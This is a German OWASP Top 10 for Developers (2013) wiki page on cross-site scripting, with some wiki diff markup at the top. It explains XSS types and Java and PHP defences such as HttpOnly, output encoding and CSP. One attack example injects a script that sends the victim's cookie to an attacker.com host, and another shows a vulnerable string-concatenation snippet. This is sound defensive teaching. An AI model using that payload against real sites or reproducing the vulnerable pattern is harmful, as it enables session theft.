Ältere Browser ignorieren den Header. Aus diesem Grund sollte man sich zu diesem Zeitpunkt noch nicht ausschließlich auf CSP verlassen, sondern es als eine flankierende Maßnahme ansehen.
 +
Weitere Informationen findet man [https://wiki.mozilla.org/Security/CSP/Deploying hier]
 +
 
 +
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=references|position=right|risk=3|year=2013|language=de}}
 +
 
 +
{{Top_10:SubsectionTableEndTemplate}}{{Top 10 DeveloperEdition:NavigationByHeadertab
 +
    |headertab=PHP
 +
    |useprev=2013PrevHeaderTabDeveloperEdition
 +
    |usenext=2013NextHeaderTabDeveloperEdition
 +
    |prev=A2-{{Top_10_2010:ByTheNumbers
 +
              |2
 +
              |year=2013
 +
              |language=de}}
 +
    |next=A4-{{Top_10_2010:ByTheNumbers
 +
              |4
 +
              |year=2013
 +
              |language=de}}
 +
    |year=2013
 +
    |language=de
 +
}}
 +
 
 +
<!-- weitere Programmiersprachen oder evtl Anti-Beispiele --- >
 +
= '''Test''' =
 +
{{Top_10:SubsectionTableBeginTemplate|type=headertab}} {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=defOp|position=firstLeft|title=1|risk=3|year=2013|language=de}}
 +
{{Top_10_2010:ExampleBeginTemplate|year=2013}}
 +
tbd
 +
Text
 +
{{Top_10_2010:ExampleEndTemplate}}
  
{{Top_10_2010_Developer_Edition_De:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|number=9|risk=2}}
+
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=defOp|position=right|title=2|risk=3|year=2013|language=de}}
 +
{{Top_10_2010:ExampleBeginTemplate|year=2013}}
 +
tbd
 +
Text
 +
{{Top_10_2010:ExampleEndTemplate}}
  
<headertabs />
+
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=defOp|position=whole|title=3|risk=3|year=2013|language=de}}
 +
tbd
 +
Text
  
 +
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=userImpact|position=left|risk=3|year=2013|language=de}}
 +
(ganze Breite)
 +
Text
  
{{Top_10_2010_Developer_Edition_De:BottomAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|usenext=NextLink_Germany_Projekte|next=Top_10_fuer_Entwickler/A3_Fehler_in_Authentifizierung_und_Session-Management|useprev=PrevLink_Germany_Projekte||prev=Top_10_fuer_Entwickler/A1_Injection}}
+
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=references|position=right|risk=3|year=2013|language=de}}
  
[[Category:OWASP_Top_Ten_Project]] [[Category:Germany]]
+
{{Top_10:SubsectionTableEndTemplate}}{{Top 10 DeveloperEdition:NavigationByHeadertab
 +
    |headertab=Test
 +
    |useprev=2013PrevHeaderTabDeveloperEdition
 +
    |usenext=2013NextHeaderTabDeveloperEdition
 +
    |prev=A2-{{Top_10_2010:ByTheNumbers
 +
              |2
 +
              |year=2013
 +
              |language=de}}
 +
    |next=A4-{{Top_10_2010:ByTheNumbers
 +
              |4
 +
              |year=2013
 +
              |language=de}}
 +
    |year=2013
 +
    |language=de
 +
}}
 +
----------------------------------------------------->
 +
<headertabs />
 +
{{Top_10_2013_DeveloperEdition:BottomAdvancedTemplate
 +
    |type=0
 +
    |useprev=2013PrevLinkDeveloperEdition
 +
    |usenext=2013NextLinkDeveloperEdition
 +
    |prev=A2-{{Top_10_2010:ByTheNumbers
 +
              |2
 +
              |year=2013
 +
              |language=de}}
 +
    |next=A4-{{Top_10_2010:ByTheNumbers
 +
              |4
 +
              |year=2013
 +
              |language=de}}
 +
    |year=2013
 +
    |language=de
 +
}}

Latest revision as of 13:20, 5 July 2016

← A2-Fehler in Authentifizierung und Session-Management
Top 10 fuer Entwickler-2013: Inhaltsverzeichnis

Die Top-10-Risiken

A4-Unsichere direkte Objektreferenzen →
A3 Cross-Site Scripting (XSS)


Bedrohungsquellen
Angriffsvektoren
Schwachstellen
Technische Auswirkung
Auswirkung auf das Unternehmen
Anwendungs-
spezifisch
Ausnutzbarkeit
DURCHSCHNITTLICH
Verbreitung
AUSSERGEWÖHNLICH HÄUFIG
Auffindbarkeit
EINFACH
Auswirkung
MITTEL
Anwendungs-/
Geschäftsspezifisch
Jeder, der nicht ausreichend geprüfte Daten an das System übermitteln kann: externe und interne Nutzer, sowie Administratoren. Der Angreifer sendet textbasierte Angriffsskripte, die Eigenschaften des Browsers ausnutzen. Fast jede Datenquelle kann einen Angriffsvektor beinhalten, auch interne Quellen wie Datenbanken. XSS ist die am weitesten verbreitete Schwachstelle in Webanwendungen. XSS-Schwachstellen treten dann auf, wenn die Anwendung vom Benutzer eingegebene Daten übernimmt, ohne sie hinreichend zu validieren und Metazeichen als Text zu kodieren. Es gibt drei Typen von XSS-Schwachstellen: 1) Persistent, 2) nicht-persistent/reflektiert, und 3) DOM-basiert (lokal). Die meisten XSS-Schwachstellen sind verhältnismäßig einfach mit Hilfe von Tests oder Code-Analyse zu erkennen. Angreifer können Skripte im Browser des Opfers ausführen und die Session übernehmen, Webseiten entstellen, falsche Inhalte einfügen, Benutzer umleiten, den Browser des Benutzers durch Malware übernehmen. Berücksichtigen Sie den geschäftlichen Nutzen des betroffenen Systems und der verarbeiteten Daten. Bedenken Sie ebenfalls die Auswirkung auf das Unternehmen bei Bekanntwerden der Schwachstelle.
Mögliche Angriffsszenarien

Die Anwendung übernimmt nicht vertrauenswürdige Daten, die nicht auf Gültigkeit geprüft oder escaped werden, um folgenden HTML-Code zu generieren:

(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";

Der Angreifer ändert den Parameter ‘CC’ in seinem Browser auf:

'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'
.

Dadurch wird die Session-ID des Benutzers an die Seite des Angreifers gesendet, so dass der Angreifer die aktuelle Benutzersession übernehmen kann. Beachten Sie bitte, dass Angreifer XSS auch nutzen können, um jegliche CSRF-Abwehr der Anwendung zu umgehen. A8 enthält weitere Informationen zu CSRF.

Es wird zwischen 3 Varianten für XSS unterschieden:

  1. Reflektiert bzw. nicht persistent: Die Benutzereingabe wird direkt von der Webanwendung zum Benutzer zurück gesendet. Enthält die Eingabe schädlichen Skriptcode, wird dieser im Browser des Benutzers ausgeführt. Bsp.: Benutzerforen, Gästebuch,...
  2. beständig bzw. persistent: schädlicher Skriptcode wird zunächst in der Webanwendung gespeichert und erst später bei Anfragen ausgeliefert. Bsp.: Suchergebnisse, Fehlermeldungen oder andere Antworten des Webservers, die Teile der Eingabe enthalten.
  3. DOM-basiert oder lokal: Schadcode wird direkt an ein client-seitiges Skript übergeben. Die Webanwendung ist überhaupt nicht beteiligt. Bsp:
    /* Falls die Webseite 'http://www.example.com/test.html' folgenden Source-Code enthält */
    <script>
      document.write("Current URL : " + document.baseURI);
    </script>

    /* kann der XSS-Angriff via lokaler DOM über folgenden 'Link' erfolgen: */
    http://www.example.com/test.html#<script>alert(1)</script>
Wie kann ich 'Cross-Site Scripting (XSS)' verhindern?

Um XSS zu verhindern, müssen nicht vertrauenswürdige Daten von aktiven Browserinhalten getrennt werden.

  1. Vorzugsweise sollten nicht vertrauenswürdige Metazeichen dem Kontext, in dem sie ausgegeben werden (HTML, JavaScript, CSS, URL usw.), entsprechend escaped werden. Das OWASP XSS Prevention Cheat Sheet enthält weitere Informationen zu Escaping-Techniken.
  2. Eine Eingabeüberprüfung durch Positivlisten (“White-listing") wird empfohlen. Dieses Vorgehen bietet jedoch keinen umfassenden Schutz, da viele Anwendungen Metazeichen als Eingabemöglichkeit erfordern. Eine Gültigkeitsprüfung sollte kodierte Eingaben normalisieren und auf Länge, Zeichen und Format prüfen, bevor die Eingabe akzeptiert wird.
  3. Für komplexe Inhalte sollten Hilfsbibliotheken wie OWASP’s AntiSamy oder das Java HTML Sanitizer Project in Betracht gezogen werden.
  4. Content Security Policies (CSP) können als globaler Schutz Ihrer gesamten Anwendung gegenüber XSS eingesetzt werden. (vgl. Mozilla: Content Security Policy)

Anmerkung: Die beschriebenen Maßnahmen sind auf dem (Anwendungs-)Server umzusetzen bzw. durchzusetzen, optional können sie teilweise zusätzlich auf dem Client (z.B. Eingabeprüfung per Java Skript) realisiert werden, um den Benutzer frühzeitig über Falscheingaben zu informieren.

Verteidigungs-Option 1 gegen 'Cross-Site Scripting (XSS)':

Schutz gegen Diebstahl der Session durch XSS

Ein sehr einfach zu realisierender Schutz der eigentlichen Session-ID besteht darin für ein Session-Cookie grundsätzlich das Flag "httponly" zu setzen. Dieses Flag teilt dem Browser mit, dass ein Zugriff eines Client-Scripts (egal woher es kommt) auf das Session-Cookie nicht erlaubt ist. Normalerweise gibt es auch keinen Grund warum dies nötig sein sollte.

Es gibt verschiedene Möglichekeiten dieses Flag zu setzen:

//Programmatisch
Cookie cookie = getMyCookie("myCookieName");
cookie.setHttpOnly(true);


//konfigurativ (Bsp. Deployment Descriptor WEB-INF/web.xml ab JEE6)
<session-config>

<cookie-config>
<http-only>true</http-only>
</cookie-config>

</session-config>

Weitere Details dazu finden sich unter OWASP HttpOnly

ACHTUNG!!!

Durch diese Maßnahme wird das Thema XSS nur zu einem Teil addressiert, nur der Diebstahl von Cookies wird verhindert. Tatsächlich werden Cookies nicht unbedingt für einen erfolgreichen Angriff benötigt, man kann auch die Anwendungslogik auch ohne Cookies angreifen wenn übergebene Daten nicht ausreichend geprüft werden. Näheres findet zu diesem Aspekt man bei Why HttpOnly won’t protect you. Je nach Schutzbedarf der Anwendung sollten deshalb auch die weiteren Verteidungsoptionen gegen XSS geprüft werden.

Diese Maßnahme ist jedoch sehr einfach umzusetzen und und gehört aus diesem Grund grundsätzlich in jede Anwendung. Sie verringert die Angreifbarkeit der Anwendung in einem signifikantem Umfang, da weiterführende Angriffe erst einmal einen wesentlich größeren Aufwand für den Angreifer bedeuten.

Verteidigungs-Option 2 gegen 'Cross-Site Scripting (XSS)':

Reflektiertes und Persistentes XSS

Canonicalize Input Setze Zeichenkodierung und Sprache auf die einfachste Form, z.B. im Header der ausgelieferten Seiten: Content-Type: text/html; charset=utf-8, Accept-Language: da, en-gb;q=0.8, en;q=0.7. Damit reduzieren sich die Möglichkeiten nachfolgende Validierungsroutinen zu umgehen.

Validate Input Using a Whitelist Whitelist validation (accept only known good data) is a key tenet of good security. Check the content of the data, the length, data type, etc.

  • Validierung gegen Positiv-Listen z.B. [^[a-zA-Z0-9+&*-]+(?:\.[a-zA-Z0-9_+&*-]+)*@(?:[a-zA-Z0-9-]+\.)+[a-zA-Z]{2,7}$]] für das Format der Email-Adresse. Weitere Beispiele befinden sich im OWASP Validation Regex Repository.


Contextual Output Encoding/Escaping: Output Escaping is the last step, and must be done for the appropriate context. You must understand where you’re sticking data, and how that location is interpreted from the browser’s view. This can be a sticky issue, so this one gets a bit problematic.

  • Ist nicht ausreichend, falls Metazeichen (im wesentlichen %&/()=?{[]}\+*~<>|,;.:-^' usw.) verarbeitet werden müssen. In diesem Fall sind solche Metazeichen nach Möglichkeit geeignet zu kodieren (insbes. & zu &amp, < zu &lt, > zu &gt, " zu &quot, ' zu &#x27 und / zu &#x2F). Die Verwendung von Frameworks wie ESAPI erlaubt eine vollständigere Lösung des Problems:
ESAPI Encoder API

String safeEncodedOutput =

ESAPI.encoder().encodeForHTML(request.getParameter( "input" ));


OWASP Java Encoder Project

'Encode.forHtml(...)' bzw. 'Encode.forJavaScript(...)' wären aus Sicherheitssicht ebenfalls möglich, sie sind jedoch nicht so performant (da sie mehr Zeichen, als notwendig umcodieren würden).

String safeEncodedOutput =

Encode.forHtmlContent(request.getParameter( "input" ));
Beispiele für JSP

<input type="text" name="data" value="<%= Encode.forHtmlAttribute (dataValue) %>" />

<script type="text/javascript”>
var msg= "<%=Encode.forJavaScriptBlock (message) %>”; alert(msg);
</script>

Quellen: Use_the_Java_Encoder_Project, Approaching Secure Code

Anmerkung: Die beschriebenen Maßnahmen sind auf dem (Anwendungs-)Server umzusetzen bzw. durchzusetzen, optional können sie teilweise zusätzlich auf dem Client (z.B. Eingabeprüfung per Java Skript) realisiert werden, um den Benutzer frühzeitig über Falscheingaben zu informieren.

Verteidigungs-Option 3 gegen 'Cross-Site Scripting (XSS)':

Content Security Policy (CSP)

CSP erzwingt eine stringente Trennung des Javascript-Codes vom Inhalt und ermöglich damit ein strikte Kontrolle der Herkunft des Codes.

Um CSP zu aktivieren muss der Header X-Content-Security-Policy (für Firefox und IE10; X-WebKit-CSP für Chrome und Safari) in der http-Antwort gesetzt werden:

response.setHeader( "X-Content-Security-Policy", "'self'; img-src *; object-src media1.com media2.com; script-src scripts.example.com" );

Sobald CSP-Header gesetzt werden gelten in einem kompatiblen Browser folgende Einschränkungen:

  • inline-Skripte werden nicht mehr ausgeführt (<spript>-Tag, javascript URIs, event handling Attribute), d.h. Javascript Code muss vollständig in externe .js-Dateien ausgelagern.
  • eval(), setTimeout(string), setIntervall(string) und new function wird geblockt, da diese Funktionen die Umwandlung von Inhalt in Code erlauben

Ältere Browser ignorieren den Header. Aus diesem Grund sollte man sich zu diesem Zeitpunkt noch nicht ausschließlich auf CSP verlassen, sondern es als eine flankierende Maßnahme ansehen. Weitere Informationen zu CSP findet man wiki.mozilla.org

Auf Heise Security ist eine detaillierte Beschreibung zu CSP erschienen: Bodyguard für Webseiten

Verteidigungs-Option 4 gegen 'Cross-Site Scripting (XSS)':

DOM-basiertes oder lokales XSS

Vergleiche Beispiele im 'DOM based XSS Prevention Cheat Sheet'


Referenzen

OWASP

Andere

This section is under construction. Please help OWASP to add missing content!
Comment: Bitte senden Sie uns weitere gute Beispiele mit PHP für diesen Abschnitt.
Verteidigungs-Option 1 gegen 'Cross-Site Scripting (XSS)':

tbd Text

Verteidigungs-Option 2 gegen 'Cross-Site Scripting (XSS)':

Reflektiertes und Persistentes XSS

Canonicalize Input Setze Zeichenkodierung und Sprache auf die einfachste Form, z.B. im Header der ausgelieferten Seiten: Content-Type: text/html; charset=utf-8, Accept-Language: da, en-gb;q=0.8, en;q=0.7. Damit reduzieren sich die Möglichkeiten nachfolgende Validierungsroutinen zu umgehen.

Validate Input Using a Whitelist Whitelist validation (accept only known good data) is a key tenet of good security. Check the content of the data, the length, data type, etc.

  • Validierung gegen Positiv-Listen z.B. [^[a-zA-Z0-9+&*-]+(?:\.[a-zA-Z0-9_+&*-]+)*@(?:[a-zA-Z0-9-]+\.)+[a-zA-Z]{2,7}$]] für das Format der Email-Adresse. Weitere Beispiele befinden sich im OWASP Validation Regex Repository.


Contextual Output Encoding/Escaping: Output Escaping is the last step, and must be done for the appropriate context. You must understand where you’re sticking data, and how that location is interpreted from the browser’s view. This can be a sticky issue, so this one gets a bit problematic.

  • Ist nicht ausreichend, falls Metazeichen (im wesentlichen %&/()=?{[]}\+*~<>|,;.:-^' usw.) verarbeitet werden müssen. In diesem Fall sind solche Metazeichen nach Möglichkeit geeignet zu kodieren (insbes. & zu &amp, < zu &lt, > zu &gt, " zu &quot, ' zu &#x27 und / zu &#x2F).

/* encoding for html */

echo htmlentities($input, ENT_QUOTE | ENT_SUBSTITUTE, 'UTF-8');

Um JSON in HTML-Attributen sicher auszugeben ist json_encode alleine nicht ausreichend.

/* encoding for json */

echo htmlentities(json_encode($input), ENT_QUOTE | ENT_SUBSTITUTE, 'UTF-8');

Anmerkung: Die beschriebenen Maßnahmen sind auf dem (Anwendungs-)Server umzusetzen bzw. durchzusetzen, optional können sie teilweise zusätzlich auf dem Client (z.B. Eingabeprüfung per Java Skript) realisiert werden, um den Benutzer frühzeitig über Falscheingaben zu informieren.

Verteidigungs-Option 3 gegen 'Cross-Site Scripting (XSS)':

Content Security Policy (CSP)

CSP erzwingt eine stringente Trennung des Javascript-Codes vom Inhalt und ermöglich damit ein strikte Kontrolle der Herkunft des Codes.

Um CSP zu aktivieren muss der Header X-Content-Security-Policy (für Firefox und IE10; X-WebKit-CSP für Chrome und Safari) in der http-Antwort gesetzt werden:

header( "X-Content-Security-Policy", "'self'; img-src *; object-src media1.com media2.com; script-src scripts.example.com" );

Sobald CSP-Header gesetzt werden gelten in einem kompatiblen Browser folgende Einschränkungen:

  • inline-Skripte werden nicht mehr ausgeführt (<script>-Tag, javascript URIs, event handling Attribute), d.h. Javascript Code muss vollständig in externe .js-Dateien ausgelagern.
  • eval(), setTimeout(string), setIntervall(string) und new function wird geblockt, da diese Funktionen die Umwandlung von Inhalt in Code erlauben

Ältere Browser ignorieren den Header. Aus diesem Grund sollte man sich zu diesem Zeitpunkt noch nicht ausschließlich auf CSP verlassen, sondern es als eine flankierende Maßnahme ansehen. Weitere Informationen findet man hier

Referenzen
← A2-Fehler in Authentifizierung und Session-Management
Top 10 fuer Entwickler-2013: Inhaltsverzeichnis

Die Top-10-Risiken

A4-Unsichere direkte Objektreferenzen →

© 2002-2017 OWASP Foundation This document is licensed under the Creative Commons Attribution-ShareAlike 3.0 license. Some rights reserved. CC-by-sa-3 0-88x31.png